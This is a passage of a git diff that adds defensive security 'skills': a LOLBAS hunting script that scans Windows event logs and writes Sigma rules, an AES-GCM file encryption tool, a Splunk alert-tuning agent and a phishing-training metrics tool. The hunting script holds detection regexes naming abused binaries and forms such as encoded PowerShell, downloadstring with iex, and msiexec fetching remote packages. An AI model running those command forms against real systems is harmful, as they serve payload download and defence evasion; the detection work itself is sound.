r"cmstp.*/s.*\.inf", + r"cmstp.*/ni.*\.inf", + ], + "msiexec.exe": [ + r"msiexec.*/q.*http[s]?://", + r"msiexec.*/y.*\.dll", + ], + "powershell.exe": [ + r"powershell.*-enc", + r"powershell.*downloadstring", + r"powershell.*iex.*new-object", + r"powershell.*bypass", + ], + "cmd.exe": [ + r"cmd.*/c.*powershell", + r"cmd.*/c.*certutil", + ], +} + + +def fetch_lolbas_database(): + """Fetch the LOLBAS project database from GitHub.""" + url = "https://lolbas-project.github.io/api/lolbas.json" + resp = requests.get(url, timeout=15) + resp.raise_for_status() + return resp.json() + + +def scan_evtx_for_lolbas(evtx_path, patterns=None): + """Scan Windows Event Log for LOLBAS abuse patterns.""" + if patterns is None: + patterns = LOLBAS_PATTERNS + findings = [] + ns = {"ns": "http://schemas.microsoft.com/win/2004/08/events/event"} + with evtx.Evtx(evtx_path) as log: + for record in log.records(): + try: + xml_str = record.xml() + root = ET.fromstring(xml_str) + event_id_el = root.find(".//ns:EventID", ns) + if event_id_el is None: + continue + event_id = event_id_el.text + if event_id not in ("1", "4688"): + continue + cmd_line = "" + image = "" + for data in root.findall(".//ns:Data", ns): + name = data.get("Name", "") + if name == "CommandLine": + cmd_line = data.text or "" + elif name == "Image" or name == "NewProcessName": + image = data.text or "" + if not cmd_line: + continue + for binary, regex_list in patterns.items(): + if binary.lower() in image.lower() or binary.lower() in cmd_line.lower(): + for regex in regex_list: + if re.search(regex, cmd_line, re.IGNORECASE): + findings.append({ + "event_id": event_id, + "binary": binary, + "command_line": cmd_line, + "image": image, + "pattern": regex, + "timestamp": str(record.timestamp()), + }) + except Exception: + continue + return findings + + +def scan_sysmon_log(evtx_path): + """Scan Sysmon log specifically for process creation with LOLBAS.""" + return scan_evtx_for_lolbas(evtx_path) + + +def generate_sigma_rules(lolbas_db): + """Generate Sigma detection rules from LOLBAS database entries.""" + rules = [] + for entry in lolbas_db[:20]: + name = entry.get("Name", "unknown") + commands = entry.get("Commands", []) + for cmd in commands: + command_str = cmd.get("Command", "") + if not command_str: + continue + rule = { + "title": f"LOLBAS - {name} Abuse", + "logsource": {"category": "process_creation", "product": "windows"}, + "detection": { + "selection": { + "Image|endswith": f"\\{name}", + "CommandLine|contains": command_str.split()[1:2], + }, + "condition": "selection", + }, + "level": "high", + } + rules.append(rule) + return rules + + +def build_lolbas_summary(lolbas_db): + """Build a summary of LOLBAS binaries by category.""" + summary = {} + for entry in lolbas_db: + for cmd in entry.get("Commands", []): + category = cmd.get("Category", "Unknown") + if category not in summary: + summary[category] = [] + summary[category].append(entry["Name"]) + for cat in summary: + summary[cat] = list(set(summary[cat])) + return summary + + +def main(): + parser = argparse.ArgumentParser(description="LOLBAS Hunting Agent") + parser.add_argument("--evtx", help="Path to Windows Event Log (.evtx)") + parser.add_argument("--output", default="lolbas_report.json") + parser.add_argument("--action", choices=[ + "scan_evtx", "fetch_db", "generate_sigma", "full_hunt" + ], default="full_hunt") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "findings": {}} + + if args.action in ("fetch_db", "generate_sigma", "full_hunt"): + lolbas_db = fetch_lolbas_database() + report["findings"]["lolbas_summary"] = build_lolbas_summary(lolbas_db) + print(f"[+] LOLBAS database: {len(lolbas_db)} entries") + + if args.action in ("scan_evtx", "full_hunt") and args.evtx: + findings = scan_evtx_for_lolbas(args.evtx) + report["findings"]["evtx_detections"] = findings + print(f"[+] LOLBAS detections in EVTX: {len(findings)}") + + if args.action in ("generate_sigma", "full_hunt"): + rules = generate_sigma_rules(lolbas_db) + report["findings"]["sigma_rules"] = rules + print(f"[+] Sigma rules generated: {len(rules)}") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-aes-encryption-for-data-at-rest/LICENSE b/skills/implementing-aes-encryption-for-data-at-rest/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-aes-encryption-for-data-at-rest/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-aes-encryption-for-data-at-rest/references/api-reference.md b/skills/implementing-aes-encryption-for-data-at-rest/references/api-reference.md new file mode 100644 index 00000000..e279c695 --- /dev/null +++ b/skills/implementing-aes-encryption-for-data-at-rest/references/api-reference.md @@ -0,0 +1,67 @@ +# API Reference: Implementing AES Encryption for Data at Rest + +## cryptography Library - AESGCM + +```python +from cryptography.hazmat.primitives.ciphers.aead import AESGCM +import os + +key = AESGCM.generate_key(bit_length=256) +aesgcm = AESGCM(key) +nonce = os.urandom(12) # 96-bit nonce, NEVER reuse + +ciphertext = aesgcm.encrypt(nonce, plaintext, associated_data) +plaintext = aesgcm.decrypt(nonce, ciphertext, associated_data) +``` + +## Key Derivation - PBKDF2 + +```python +from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC +from cryptography.hazmat.primitives import hashes + +kdf = PBKDF2HMAC( + algorithm=hashes.SHA256(), + length=32, # 256-bit key + salt=os.urandom(16), + iterations=600_000, # NIST 2024 recommendation +) +key = kdf.derive(password.encode()) +``` + +## Encrypted File Format + +``` +[salt: 16 bytes][nonce: 12 bytes][ciphertext + tag: variable] +``` + +| Field | Size | Purpose | +|-------|------|---------| +| Salt | 16 bytes | PBKDF2 salt (random per file) | +| Nonce | 12 bytes | GCM nonce (random per encryption) | +| Ciphertext | Variable | Encrypted data + 16-byte auth tag | + +## AES Modes Comparison + +| Mode | AEAD | Nonce Size | Use Case | +|------|------|------------|----------| +| GCM | Yes | 12 bytes | File/network encryption | +| CBC | No | 16 bytes | Legacy, disk encryption | +| CTR | No | 16 bytes | Streaming | +| XTS | No | 16 bytes | Full disk encryption | + +## Fernet (High-Level API) + +```python +from cryptography.fernet import Fernet +key = Fernet.generate_key() +f = Fernet(key) +token = f.encrypt(b"data") +plaintext = f.decrypt(token) +``` + +### References + +- cryptography AESGCM: https://cryptography.io/en/latest/hazmat/primitives/aead/ +- NIST SP 800-38D (GCM): https://csrc.nist.gov/publications/detail/sp/800-38d/final +- NIST FIPS 197 (AES): https://csrc.nist.gov/publications/detail/fips/197/final diff --git a/skills/implementing-aes-encryption-for-data-at-rest/scripts/agent.py b/skills/implementing-aes-encryption-for-data-at-rest/scripts/agent.py new file mode 100644 index 00000000..ef128d89 --- /dev/null +++ b/skills/implementing-aes-encryption-for-data-at-rest/scripts/agent.py @@ -0,0 +1,172 @@ +#!/usr/bin/env python3 +"""Agent for implementing AES-256-GCM encryption for data at rest.""" + +import os +import json +import argparse +from datetime import datetime +from pathlib import Path + +from cryptography.hazmat.primitives.ciphers.aead import AESGCM +from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC +from cryptography.hazmat.primitives import hashes + + +SALT_SIZE = 16 +NONCE_SIZE = 12 +KEY_SIZE = 32 # 256 bits +TAG_SIZE = 16 +PBKDF2_ITERATIONS = 600_000 + + +def derive_key(password, salt=None): + """Derive AES-256 key from password using PBKDF2-HMAC-SHA256.""" + if salt is None: + salt = os.urandom(SALT_SIZE) + kdf = PBKDF2HMAC( + algorithm=hashes.SHA256(), + length=KEY_SIZE, + salt=salt, + iterations=PBKDF2_ITERATIONS, + ) + key = kdf.derive(password.encode("utf-8")) + return key, salt + + +def encrypt_file(input_path, output_path, password): + """Encrypt a file using AES-256-GCM with PBKDF2 key derivation.""" + key, salt = derive_key(password) + nonce = os.urandom(NONCE_SIZE) + aesgcm = AESGCM(key) + + with open(input_path, "rb") as f: + plaintext = f.read() + + ciphertext = aesgcm.encrypt(nonce, plaintext, None) + + with open(output_path, "wb") as f: + f.write(salt) + f.write(nonce) + f.write(ciphertext) + + return { + "input": str(input_path), + "output": str(output_path), + "original_size": len(plaintext), + "encrypted_size": SALT_SIZE + NONCE_SIZE + len(ciphertext), + "algorithm": "AES-256-GCM", + "kdf": f"PBKDF2-HMAC-SHA256 ({PBKDF2_ITERATIONS} iterations)", + } + + +def decrypt_file(input_path, output_path, password): + """Decrypt an AES-256-GCM encrypted file.""" + with open(input_path, "rb") as f: + salt = f.read(SALT_SIZE) + nonce = f.read(NONCE_SIZE) + ciphertext = f.read() + + key, _ = derive_key(password, salt) + aesgcm = AESGCM(key) + plaintext = aesgcm.decrypt(nonce, ciphertext, None) + + with open(output_path, "wb") as f: + f.write(plaintext) + + return { + "input": str(input_path), + "output": str(output_path), + "decrypted_size": len(plaintext), + } + + +def encrypt_directory(dir_path, output_dir, password): + """Encrypt all files in a directory tree.""" + src = Path(dir_path) + dst = Path(output_dir) + dst.mkdir(parents=True, exist_ok=True) + results = [] + for filepath in src.rglob("*"): + if filepath.is_file(): + rel = filepath.relative_to(src) + out = dst / (str(rel) + ".enc") + out.parent.mkdir(parents=True, exist_ok=True) + result = encrypt_file(str(filepath), str(out), password) + results.append(result) + return results + + +def generate_random_key(): + """Generate a random AES-256 key.""" + key = os.urandom(KEY_SIZE) + return { + "key_hex": key.hex(), + "key_size_bits": KEY_SIZE * 8, + "algorithm": "AES-256", + } + + +def verify_encryption(original_path, encrypted_path, password): + """Verify encryption by decrypting and comparing.""" + with open(original_path, "rb") as f: + original = f.read() + + with open(encrypted_path, "rb") as f: + salt = f.read(SALT_SIZE) + nonce = f.read(NONCE_SIZE) + ciphertext = f.read() + + key, _ = derive_key(password, salt) + aesgcm = AESGCM(key) + try: + decrypted = aesgcm.decrypt(nonce, ciphertext, None) + match = original == decrypted + return {"status": "PASS" if match else "FAIL", "content_match": match} + except Exception as e: + return {"status": "FAIL", "error": str(e)} + + +def main(): + parser = argparse.ArgumentParser(description="AES-256-GCM Encryption Agent") + parser.add_argument("--action", required=True, + choices=["encrypt", "decrypt", "encrypt_dir", "genkey", "verify"]) + parser.add_argument("--input", help="Input file or directory") + parser.add_argument("--output", help="Output file or directory") + parser.add_argument("--password", help="Encryption password") + parser.add_argument("--report", default="aes_encryption_report.json") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "action": args.action} + + if args.action == "encrypt": + result = encrypt_file(args.input, args.output, args.password) + report["result"] = result + print(f"[+] Encrypted: {args.input} -> {args.output}") + + elif args.action == "decrypt": + result = decrypt_file(args.input, args.output, args.password) + report["result"] = result + print(f"[+] Decrypted: {args.input} -> {args.output}") + + elif args.action == "encrypt_dir": + results = encrypt_directory(args.input, args.output, args.password) + report["results"] = results + print(f"[+] Encrypted {len(results)} files") + + elif args.action == "genkey": + result = generate_random_key() + report["result"] = result + print(f"[+] Key: {result['key_hex']}") + + elif args.action == "verify": + result = verify_encryption(args.input, args.output, args.password) + report["result"] = result + print(f"[+] Verification: {result['status']}") + + with open(args.report, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.report}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-alert-fatigue-reduction/LICENSE b/skills/implementing-alert-fatigue-reduction/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-alert-fatigue-reduction/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-alert-fatigue-reduction/references/api-reference.md b/skills/implementing-alert-fatigue-reduction/references/api-reference.md new file mode 100644 index 00000000..e28a494c --- /dev/null +++ b/skills/implementing-alert-fatigue-reduction/references/api-reference.md @@ -0,0 +1,49 @@ +# API Reference: Implementing Alert Fatigue Reduction + +## Libraries + +### splunk-sdk (Splunk SDK for Python) +- **Install**: `pip install splunk-sdk` +- **Docs**: https://dev.splunk.com/enterprise/docs/devtools/python/sdk-python/ +- `splunklib.client.connect(host, port, username, password)` -- Connect to Splunk +- `service.jobs.create(query)` -- Execute a search query +- `job.is_done()` -- Check if search job completed +- `job.results(output_mode="json")` -- Retrieve results in JSON format +- `splunklib.results.JSONResultsReader(stream)` -- Parse JSON results + +### Splunk ES Notable Events API +- **Endpoint**: `/services/notable_update` +- **Methods**: POST to update notable event status +- **Fields**: `status`, `urgency`, `owner`, `comment`, `ruleUIDs` +- **Status values**: `0` (Unassigned), `1` (New), `2` (In Progress), `5` (Resolved) + +## Key SPL Queries + +| Purpose | Key Functions | +|---------|--------------| +| Alert volume analysis | `stats count by rule_name`, `eval fp_rate` | +| Risk-based alerting | `collect index=risk`, `eval risk_score` | +| Alert consolidation | `dedup src, rule_name span=300` | +| Capacity calculation | `bin _time span=1d`, `stats avg(daily_alerts)` | +| Tiered routing | `eval routing = case(urgency, ...)` | + +## Risk-Based Alerting (RBA) Framework +- Risk contributions replace individual alerts +- `index=risk` stores cumulative risk scores per entity +- Threshold alert fires only when `total_risk >= 75` +- Typical risk score ranges: 5 (low) to 50 (critical) + +## Metrics Targets + +| Metric | Target | +|--------|--------| +| False Positive Rate | < 30% per production rule | +| Alerts/Analyst/Shift | 40-60 (manageable range) | +| Signal-to-Noise Ratio | > 1.0 | +| MTTD | Under 15 minutes for critical | +| MTTR | Under 4 hours for high severity | + +## External References +- Splunk ES RBA Docs: https://docs.splunk.com/Documentation/ES/latest/Admin/RBA +- Splunk SDK Python: https://github.com/splunk/splunk-sdk-python +- MITRE ATT&CK Detection: https://attack.mitre.org/resources/ diff --git a/skills/implementing-alert-fatigue-reduction/scripts/agent.py b/skills/implementing-alert-fatigue-reduction/scripts/agent.py new file mode 100644 index 00000000..7dd56522 --- /dev/null +++ b/skills/implementing-alert-fatigue-reduction/scripts/agent.py @@ -0,0 +1,173 @@ +#!/usr/bin/env python3 +"""Alert fatigue reduction agent for SOC operations using Splunk SDK.""" + +import json +import sys +import argparse +from datetime import datetime, timedelta +from collections import defaultdict + +try: + import splunklib.client as splunk_client + import splunklib.results as splunk_results +except ImportError: + print("Install splunk-sdk: pip install splunk-sdk") + sys.exit(1) + + +def connect_splunk(host, port, username, password): + """Connect to Splunk instance.""" + return splunk_client.connect(host=host, port=port, + username=username, password=password) + + +def get_alert_quality_metrics(service, days=90): + """Query alert disposition data to measure alert quality.""" + query = f"""search index=notable earliest=-{days}d + | stats count AS total_alerts, + sum(eval(if(status_label="Resolved - True Positive", 1, 0))) AS tp, + sum(eval(if(status_label="Resolved - False Positive", 1, 0))) AS fp, + sum(eval(if(status_label="Resolved - Benign", 1, 0))) AS benign, + sum(eval(if(status_label="New" OR status_label="In Progress", 1, 0))) AS unresolved + by rule_name + | eval fp_rate = round(fp / total_alerts * 100, 1) + | eval tp_rate = round(tp / total_alerts * 100, 1) + | eval snr = round(tp / (fp + 0.01), 2) + | sort - total_alerts""" + job = service.jobs.create(query) + while not job.is_done(): + pass + return [row for row in splunk_results.JSONResultsReader(job.results(output_mode="json"))] + + +def identify_noisy_rules(metrics, fp_threshold=70, volume_threshold=500): + """Identify rules exceeding false positive or volume thresholds.""" + noisy = [] + for rule in metrics: + fp_rate = float(rule.get("fp_rate", 0)) + total = int(rule.get("total_alerts", 0)) + if fp_rate > fp_threshold or total > volume_threshold: + noisy.append({ + "rule_name": rule.get("rule_name", "unknown"), + "total_alerts": total, + "fp_rate": fp_rate, + "tp_rate": float(rule.get("tp_rate", 0)), + "signal_to_noise": float(rule.get("snr", 0)), + "recommendation": "TUNE" if fp_rate > fp_threshold else "CONSOLIDATE" + }) + return sorted(noisy, key=lambda x: -x["fp_rate"]) + + +def calculate_analyst_capacity(service, num_analysts=6, days=30): + """Calculate alerts per analyst per shift.""" + query = f"""search index=notable earliest=-{days}d + | bin _time span=1d + | stats count AS daily_alerts by _time + | stats avg(daily_alerts) AS avg_daily, max(daily_alerts) AS peak_daily""" + job = service.jobs.create(query) + while not job.is_done(): + pass + results = [r for r in splunk_results.JSONResultsReader(job.results(output_mode="json"))] + if results: + avg_daily = float(results[0].get("avg_daily", 0)) + peak_daily = float(results[0].get("peak_daily", 0)) + per_analyst = round(avg_daily / num_analysts) + status = "CRITICAL" if per_analyst > 100 else "WARNING" if per_analyst > 50 else "HEALTHY" + return {"avg_daily": avg_daily, "peak_daily": peak_daily, + "per_analyst": per_analyst, "status": status} + return None + + +def generate_rba_conversion_plan(noisy_rules): + """Generate a plan to convert threshold alerts to risk-based alerting.""" + plan = [] + for rule in noisy_rules[:15]: + plan.append({ + "rule_name": rule["rule_name"], + "current_fp_rate": rule["fp_rate"], + "action": "Convert to risk contribution", + "risk_score_suggestion": 10 if rule["fp_rate"] > 90 else 20 if rule["fp_rate"] > 70 else 30, + "estimated_alert_reduction": f"{int(rule['total_alerts'] * rule['fp_rate'] / 100)} alerts/period", + }) + return plan + + +def generate_tuning_recommendations(noisy_rules): + """Generate tuning recommendations for noisy rules.""" + recommendations = [] + for rule in noisy_rules: + rec = {"rule_name": rule["rule_name"], "fp_rate": rule["fp_rate"], "actions": []} + if rule["fp_rate"] > 90: + rec["actions"].append("Disable rule and replace with risk contribution") + rec["actions"].append("Investigate top FP sources for whitelist candidates") + elif rule["fp_rate"] > 70: + rec["actions"].append("Add exclusion list for known legitimate sources") + rec["actions"].append("Narrow detection scope with additional filters") + else: + rec["actions"].append("Review and consolidate with related rules") + recommendations.append(rec) + return recommendations + + +def build_fatigue_report(service, num_analysts=6): + """Build comprehensive alert fatigue reduction report.""" + print(f"\n{'='*60}") + print(f" ALERT FATIGUE REDUCTION ANALYSIS") + print(f" Generated: {datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S')} UTC") + print(f"{'='*60}\n") + + metrics = get_alert_quality_metrics(service) + noisy = identify_noisy_rules(metrics) + capacity = calculate_analyst_capacity(service, num_analysts) + + if capacity: + print(f"--- ANALYST CAPACITY ---") + print(f" Avg Daily Alerts: {capacity['avg_daily']:.0f}") + print(f" Peak Daily Alerts: {capacity['peak_daily']:.0f}") + print(f" Alerts/Analyst/Shift: {capacity['per_analyst']}") + print(f" Status: {capacity['status']}\n") + + print(f"--- TOP NOISY RULES ({len(noisy)} identified) ---") + for r in noisy[:10]: + print(f" [{r['recommendation']}] {r['rule_name']}") + print(f" Volume: {r['total_alerts']} FP Rate: {r['fp_rate']}% SNR: {r['signal_to_noise']}") + + rba_plan = generate_rba_conversion_plan(noisy) + print(f"\n--- RBA CONVERSION PLAN ({len(rba_plan)} rules) ---") + total_reduction = 0 + for p in rba_plan: + print(f" {p['rule_name']}: risk_score={p['risk_score_suggestion']}, " + f"reduction={p['estimated_alert_reduction']}") + + tuning = generate_tuning_recommendations(noisy) + print(f"\n--- TUNING RECOMMENDATIONS ---") + for t in tuning[:5]: + print(f" {t['rule_name']} (FP: {t['fp_rate']}%):") + for a in t["actions"]: + print(f" -> {a}") + + print(f"\n{'='*60}\n") + return {"metrics": metrics, "noisy_rules": noisy, "rba_plan": rba_plan, "tuning": tuning} + + +def main(): + parser = argparse.ArgumentParser(description="Alert Fatigue Reduction Agent") + parser.add_argument("--host", default="localhost", help="Splunk host") + parser.add_argument("--port", type=int, default=8089, help="Splunk management port") + parser.add_argument("--username", default="admin", help="Splunk username") + parser.add_argument("--password", required=True, help="Splunk password") + parser.add_argument("--analysts", type=int, default=6, help="Number of SOC analysts per shift") + parser.add_argument("--output", help="Save report JSON to file") + args = parser.parse_args() + + service = connect_splunk(args.host, args.port, args.username, args.password) + report = build_fatigue_report(service, args.analysts) + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-anti-phishing-training-program/LICENSE b/skills/implementing-anti-phishing-training-program/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-anti-phishing-training-program/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-anti-phishing-training-program/references/api-reference.md b/skills/implementing-anti-phishing-training-program/references/api-reference.md new file mode 100644 index 00000000..f2bd75de --- /dev/null +++ b/skills/implementing-anti-phishing-training-program/references/api-reference.md @@ -0,0 +1,69 @@ +# API Reference: Implementing Anti-Phishing Training Program + +## KnowBe4 API + +```python +import requests + +headers = {"Authorization": "Bearer "} +base = "https://us.api.knowbe4.com/v1" + +# List users +users = requests.get(f"{base}/users", headers=headers).json() + +# Get phishing campaign results +campaigns = requests.get(f"{base}/phishing/campaigns", headers=headers).json() + +# Get training enrollments +enrollments = requests.get(f"{base}/training/enrollments", headers=headers).json() +``` + +## Key Metrics + +| Metric | Target | Calculation | +|--------|--------|-------------| +| Click Rate | < 15% | Clicked / Total Recipients | +| Submit Rate | < 5% | Submitted Creds / Total | +| Report Rate | > 70% | Reported / Total Recipients | +| Completion Rate | > 90% | Completed / Enrolled | + +## pandas Simulation Analysis + +```python +import pandas as pd +df = pd.read_csv("simulation_results.csv", parse_dates=["timestamp"]) + +# Department click rates +dept = df.groupby("department").agg( + click_rate=("clicked", "mean"), + report_rate=("reported", "mean"), +) + +# Monthly trend +monthly = df.set_index("timestamp").resample("M")["clicked"].mean() +``` + +## SANS Maturity Model Levels + +| Level | Name | Description | +|-------|------|-------------| +| 1 | Non-existent | No program | +| 2 | Compliance | Annual checkbox | +| 3 | Awareness | Engaging, regular | +| 4 | Sustainment | Culture change | +| 5 | Metrics | Risk-based optimization | + +## GoPhish (Open-Source Alternative) + +```bash +# Launch campaign +curl -X POST https://gophish:3333/api/campaigns \ + -H "Authorization: " \ + -d '{"name":"Q1-2025","template":{"name":"IT Alert"},"groups":[{"name":"All Staff"}]}' +``` + +### References + +- KnowBe4 API: https://developer.knowbe4.com/ +- GoPhish: https://getgophish.com/ +- SANS Security Awareness: https://www.sans.org/security-awareness-training/ diff --git a/skills/implementing-anti-phishing-training-program/scripts/agent.py b/skills/implementing-anti-phishing-training-program/scripts/agent.py new file mode 100644 index 00000000..a116bb21 --- /dev/null +++ b/skills/implementing-anti-phishing-training-program/scripts/agent.py @@ -0,0 +1,182 @@ +#!/usr/bin/env python3 +"""Agent for managing and analyzing anti-phishing training program metrics.""" + +import json +import argparse +from datetime import datetime +from pathlib import Path + +import pandas as pd +import numpy as np + + +def load_simulation_results(csv_path): + """Load phishing simulation results CSV.""" + df = pd.read_csv(csv_path, parse_dates=["timestamp"]) + return df + + +def calculate_department_metrics(df): + """Calculate phishing susceptibility metrics per department.""" + results = [] + for dept, group in df.groupby("department"): + total = len(group) + clicked = group["clicked"].sum() + submitted = group["submitted_credentials"].sum() if "submitted_credentials" in group.columns else 0 + reported = group["reported"].sum() if "reported" in group.columns else 0 + results.append({ + "department": dept, + "total_recipients": int(total), + "click_rate": round(clicked / total * 100, 1) if total > 0 else 0, + "submission_rate": round(submitted / total * 100, 1) if total > 0 else 0, + "report_rate": round(reported / total * 100, 1) if total > 0 else 0, + "risk_level": "HIGH" if clicked / total > 0.3 else "MEDIUM" if clicked / total > 0.15 else "LOW", + }) + return sorted(results, key=lambda x: x["click_rate"], reverse=True) + + +def analyze_trend(df): + """Analyze phishing simulation trends over time.""" + df["month"] = df["timestamp"].dt.to_period("M") + monthly = df.groupby("month").agg( + total=("clicked", "count"), + clicks=("clicked", "sum"), + ).reset_index() + monthly["click_rate"] = (monthly["clicks"] / monthly["total"] * 100).round(1) + monthly["month"] = monthly["month"].astype(str) + trend = monthly.to_dict(orient="records") + if len(trend) >= 2: + first_rate = trend[0]["click_rate"] + last_rate = trend[-1]["click_rate"] + improvement = round(first_rate - last_rate, 1) + else: + improvement = 0 + return {"monthly_data": trend, "improvement_pct": improvement} + + +def identify_repeat_clickers(df): + """Identify users who repeatedly click phishing links.""" + clickers = df[df["clicked"] == True] + repeat = clickers.groupby("email").agg( + click_count=("clicked", "sum"), + department=("department", "first"), + name=("name", "first") if "name" in df.columns else ("email", "first"), + ).reset_index() + repeat = repeat[repeat["click_count"] >= 2].sort_values("click_count", ascending=False) + return repeat.to_dict(orient="records") + + +def calculate_training_completion(training_df): + """Calculate training module completion rates.""" + results = [] + for module, group in training_df.groupby("module_name"): + total = len(group) + completed = group["completed"].sum() + results.append({ + "module": module, + "enrolled": int(total), + "completed": int(completed), + "completion_rate": round(completed / total * 100, 1) if total > 0 else 0, + }) + return sorted(results, key=lambda x: x["completion_rate"]) + + +def generate_risk_score(dept_metrics): + """Generate overall organization risk score based on phishing metrics.""" + if not dept_metrics: + return {"score": 0, "grade": "N/A"} + avg_click = np.mean([d["click_rate"] for d in dept_metrics]) + avg_report = np.mean([d["report_rate"] for d in dept_metrics]) + score = max(0, 100 - (avg_click * 2) + (avg_report * 0.5)) + if score >= 85: + grade = "A" + elif score >= 70: + grade = "B" + elif score >= 55: + grade = "C" + elif score >= 40: + grade = "D" + else: + grade = "F" + return { + "score": round(score, 1), + "grade": grade, + "avg_click_rate": round(avg_click, 1), + "avg_report_rate": round(avg_report, 1), + } + + +def recommend_training(dept_metrics, repeat_clickers): + """Generate training recommendations based on metrics.""" + recommendations = [] + high_risk_depts = [d for d in dept_metrics if d["risk_level"] == "HIGH"] + for dept in high_risk_depts: + recommendations.append({ + "target": dept["department"], + "type": "department", + "action": "Mandatory phishing awareness training", + "priority": "HIGH", + "reason": f"Click rate {dept['click_rate']}% exceeds 30% threshold", + }) + for user in repeat_clickers[:20]: + recommendations.append({ + "target": user.get("email", ""), + "type": "individual", + "action": "One-on-one coaching session", + "priority": "CRITICAL", + "reason": f"Clicked {user['click_count']} times across simulations", + }) + return recommendations + + +def main(): + parser = argparse.ArgumentParser(description="Anti-Phishing Training Program Agent") + parser.add_argument("--simulation-csv", help="Phishing simulation results CSV") + parser.add_argument("--training-csv", help="Training completion CSV") + parser.add_argument("--output", default="phishing_training_report.json") + parser.add_argument("--action", choices=[ + "departments", "trends", "repeaters", "completion", "full_analysis" + ], default="full_analysis") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "findings": {}} + + if args.simulation_csv: + df = load_simulation_results(args.simulation_csv) + print(f"[+] Loaded {len(df)} simulation results") + + if args.action in ("departments", "full_analysis"): + metrics = calculate_department_metrics(df) + report["findings"]["department_metrics"] = metrics + report["findings"]["risk_score"] = generate_risk_score(metrics) + print(f"[+] Departments analyzed: {len(metrics)}") + + if args.action in ("trends", "full_analysis"): + trend = analyze_trend(df) + report["findings"]["trend_analysis"] = trend + print(f"[+] Improvement: {trend['improvement_pct']}%") + + if args.action in ("repeaters", "full_analysis"): + repeaters = identify_repeat_clickers(df) + report["findings"]["repeat_clickers"] = repeaters + print(f"[+] Repeat clickers: {len(repeaters)}") + + if args.action == "full_analysis": + metrics = report["findings"].get("department_metrics", []) + repeaters = report["findings"].get("repeat_clickers", []) + recs = recommend_training(metrics, repeaters) + report["findings"]["recommendations"] = recs + + if args.training_csv: + tdf = pd.read_csv(args.training_csv) + completion = calculate_training_completion(tdf) + report["findings"]["training_completion"] = completion + print(f"[+] Training modules: {len(completion)}") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + 